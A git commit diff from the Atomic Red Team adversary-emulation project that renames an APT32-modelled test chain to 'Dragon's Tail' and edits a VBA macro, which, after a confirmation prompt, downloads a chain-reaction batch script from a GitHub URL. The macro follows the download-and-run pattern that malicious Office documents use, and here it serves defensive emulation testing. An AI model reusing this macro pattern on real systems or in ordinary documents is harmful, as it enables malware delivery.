Dragon's Tail - Publication

- Removed APT32 name scheme
+ Refactored with ART Naming Scheme
ChainReactions^2
Michael Haag 2017-11-17 14:45:22 -08:00
parent e5a2be4a6d
commit dae8dcabe5
4 changed files with 5 additions and 6 deletions

View File

@ -1,3 +0,0 @@
### Group: APT32, OceanLotus Group
[APT32](https://attack.mitre.org/wiki/Group/G0050)

View File

@ -0,0 +1,2 @@
### Group: Dragon's Tail
[Modeled After APT32](https://attack.mitre.org/wiki/Group/G0050)

View File

@ -10,12 +10,12 @@ Dim myURL As String
Dim myPath As String
If (MsgBox("You're Are About To Execute the ATOMIC Test for APT32, You sure?", 1, vbMsgBoxSetForeground) = 2) Then
If (MsgBox("You're Are About To Execute the ATOMIC Test for Dragon's Tail, You sure?", 1, vbMsgBoxSetForeground) = 2) Then
End ' This Ends Macro
End If
' Downloads APT32 Chain Reaction Script
myURL = "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/atomic-dev-cs/ARTifacts/Chain_Reactions/chain_reaction_apt32.bat"
' Downloads Dragon's Tail Chain Reaction Script
myURL = "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/ARTifacts/Chain_Reactions/chain_reaction_DragonsTail.bat"
Dim WinHttpReq As Object
Set WinHttpReq = CreateObject("Microsoft.XMLHTTP")